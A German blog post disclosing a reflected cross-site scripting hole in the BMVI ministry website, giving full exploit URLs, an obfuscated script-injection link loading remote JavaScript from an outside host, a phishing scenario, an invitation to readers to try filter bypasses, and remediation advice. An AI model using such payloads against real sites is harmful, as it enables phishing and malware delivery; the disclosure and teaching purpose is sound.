Details zum BMVI “Hack”

Cross Site Scripting (ganz praktisch, Buchtipp) gehört zu den perfideren Angriffen auf Webseiten – schlicht und einfach, weil diese es erlauben, in einer vertrauenswürdigen Seite ungeprüfte Inhalte Dritter unterzubringen oder Formulardaten auszulesen. So können mit einer geschickten XSS-Attacke Bankdaten ausgelesen werden oder Nutzer zum Download einer vermeintlich legitimen Software von einer vertrauenswürdigen Seite aufgefordert werden. Oft fallen XSS-Angriffe Monate lang nicht auf, weil ja Server seitig nichts verändert wird. Alles, was für XSS benötigt wird, ist ein passend geklöppelter Link, der dem unbedarften Surfer dann per Email oder über soziale Netzwerke zugestellt wird.

Nachdem das BMVI (genau: das Ministerium für Autobahnen und Datenautobahnen) bereits bei Heartbleed böse gepfuscht hatte, sollte klar gewesen sein, dass sich der eine oder andere die Webseite selbst noch näher anschaut…

(Ja, das hat jemand: Computer Bild berichtet darüber)

Und tatsächlich, wer in den Presse-Mitteilungen stöbert, bekommt bei Meldungen, die auf mehreren Übersichtsseiten verlinkt sind, einen GET-Parameter “linkToOverview” in der URL angezeigt:

http://www.bmvi.de/SharedDocs/DE/Pressemitteilungen/2016/055-baer-logistics-madeingermany.html?linkToOverview=DE%2FPresse%2FPressemitteilungen%2Fpressemitteilungen_node.html%23id209058

im Quelltext der Seite erscheint dann:

<div class="naviTop">
<a href="/DE/Presse/Pressemitteilungen/pressemitteilungen_node.html#id209058">
Zurück zur Liste
</a>
</div>

…oder anders ausgedrückt (in Pseudocode):

<a href="/$linkToOverview">
Zurück zur Liste
</a>

Da müsste sich doch etwas machen lassen…

OK, ein vorangestellter Slash soll verhindern, dass Links außerhalb aufgerufen werden. Aber werden Anführungszeichen und spitze Klammern gefiltert? Um wieder valides HTML zu haben, muss also folgendes Codegerüst übergeben werden – fett die HTML-Injection:

<a href="/"></a><!-- the fun starts here --><a href="">
Zurück zur Liste
</a>

Ausgehend von dieser Basis können wir der Seite ein Bild hinzufügen und irgendwohin verlinken:

<a href="/"></a>
<a href="http://www.mattiasschlenker.de/" target="_blank">
<img src="http://www.frisch-gebloggt.de/wp-content/uploads/2013/06/neuland.jpg" />
</a>
<a href="http://www.mattiasschlenker.de/
">
Zurück zur Liste
</a>

Das klappt schonmal mit allen Browsern und kann hier angesehen werden:

http://www.bmvi.de/SharedDocs/DE/Pressemitteilungen/2016/054-dobrindt-startschuss-gigabit-deutschland.html?linkToOverview=/%22%3E%3C/a%3E%3Ca%20href=%22http://www.mattiasschlenker.de/%22%20target=%22_blank%22%3E%3Cimg%20src=%22http://www.frisch-gebloggt.de/wp-content/uploads/2013/06/neuland.jpg%22%20/%3E%3C/a%3E%3Ca%20href=%22http://www.mattiasschlenker.de/

Neuland in Sicht...

Neuland in Sicht…

Geht denn auch JavaScript?

Ich habe mir dann mal den DOM-Tree einer Seite angesehen und diesen per JavaScript ein wenig manipuliert – das war der Proof of Concept für die Kollegen der Redaktion Computer Bild in Hamburg.

<a href="/">
</a>
<script src="http://fun.apostel13.de/reverse2.js"></script>
<a href="/
">
Zurück zur Liste
</a>

So sieht der Link mit dem hinzugefügten JavaScript aus:


http://www.bmvi.de/SharedDocs/DE/Pressemitteilungen/2016/054-dobrindt-startschuss-gigabit-deutschland.html?linkToOverview=%22%3E%3C/a%3E%3Cscript%20src=%22http://fun.apostel13.de/reverse2.js%22%3E%3C/script%3E%3Ca%20href=%22http://www.mattiasschlenker.de/

oder obfuscated (dafür nehme ich Ruby URI.escape(string, /./):


http://www.bmvi.de/SharedDocs/DE/Pressemitteilungen/2016/054-dobrindt-startschuss-gigabit-deutschland.html?linkToOverview=%22%3E%3C%2F%61%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%75%6E%2E%61%70%6F%73%74%65%6C%31%33%2E%64%65%2F%72%65%76%65%72%73%65%32%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6D%61%74%74%69%61%73%73%63%68%6C%65%6E%6B%65%72%2E%64%65%2F%22

Firefox zeigt die Seite dann wie folgt an:

Per DOM-Manipulation mit ausgetauschten Texten...

Per DOM-Manipulation mit ausgetauschten Texten…

Nur leider – oder sollte man sagen: glücklicherweise? – haben einige Browser wie Chrome einen statischen XSS-Filter: JavaScript, das per URL in einem GET-Parameter übergeben wurde, wird nicht ausgeführt. Dies wird bei aktiven Webentwicklerwerkzeugen dann gemeldet. Ich überlasse es dem geneigten Leser, auszuprobieren, ob die Bypass-Methoden noch funktionieren…

Denken wie der Angreifer

Ein echter Angreifer würde nun per Email einen Link verschicken, in dem er JavaScript und HTML kombiniert, zuerst ein Schnippsel HTML, mit dem sich im Bereich der Links eine weitere Box mit einer Meldung wie:

Ihre Sicherheitssoftware ist nicht aktuell! Das BMVI empfiehlt die Nutzung von Bundesprotekt 5.0. Laden Sie es hier kostenlos herunter.

Das ganze dann wie oben “obfuscated”, damit auch versierten Nutzern nicht sofort auffällt, dass etwas nicht simmt. Damit würde man Nutzer von Browsern mit XSS-Filter “einfangen”. Und als Bonus natürlich per JavaScript dieselbe Meldung als Overlay oder weiter oben in der Seite etwas prominenter platzieren. Was glauben Sie, wieviele Nutzer auf die Seriosität des Ministeriums hereinfallen und “Bundesprotekt 5.0” installieren würden?

Abhilfe ist einfach

Das BMVI wurde von der Redaktion Computer Bild am Montag früh über das Problem informiert, 24 Stunden später besteht die Lücke fort. Das ist erstaunlich, denn schließlich ist das eine XSS-Lücke wie aus dem Lehrbuch. Der simpelste Fix wäre, zunächst die Zeichen

<>"

herauszufiltern. Allerdings sind Blacklists immer gefährlicher als Whitelists und so, wie es aussieht genügen die Zeichen:

[a-z][A-Z][0-9]/_-,.#

Schließlich könnte man noch die Frage stellen, warum der “linkToOverview” als GET-Parameter übergeben wird. Denn wenn man einen Link weitergibt, macht es möglicherweise Sinn, demjenigen, der über einen Deeplink kommt, eine andere (allgemeinere) Übersicht zu geben, als demjenigen, der nach “durchklicken” zu einer Unterseite gelangt. Ein recht pragmatischer Ansatz wäre daher, den “linkToOverview” im Kontext der veschiedenen Seiten in ein Cookie mit kurzer Lebensdauer zu packen – oder gleich mit einer Session ID verknüpft (die wiederum im Cookie stehen kann) in der Datenbank. Aber bitte: Machen Sie bei der Auswertung von Cookies nicht diesselben Fehler wie die Kollegen beim BMVI mit dem GET-Parameter. Auch Cookies können handgeklöppelt werden…

Keine Kommentare, ich bin die Moderation leid. Wer möchte, kann stattdessen meinen Beitrag bei G+ kommentieren. Solange die Lücke noch offen ist, freue ich mich über eine kreative Auseinandersetzung mit der Webpräsenz des BMVI. Bitte mit Screenshot!

Update, 14:35: Computer Bild hat das BMVI noch einmal auf die Lücke hingewiesen – letzteres hat leider keine Lust auf kreative DOM-Experimente und hat die Lücke recht pragmatisch per JavaScript-Schnippsel geschlossen:


<a href="javascript:history.back();">Zurück zur Liste</a>


Mattias Schlenker ist freier Mitarbeiter bei Computer Bild, Heise, golem.de, PC Magazin und einigen weiteren. Er berät und schreibt vorrangig zu Sicherheitsthemen, Linux und hat eine über zehnjährige Expertise beim Aufbau von Linux basierten Live-Systemen (Notfall- oder Anti-Viren-DVDs).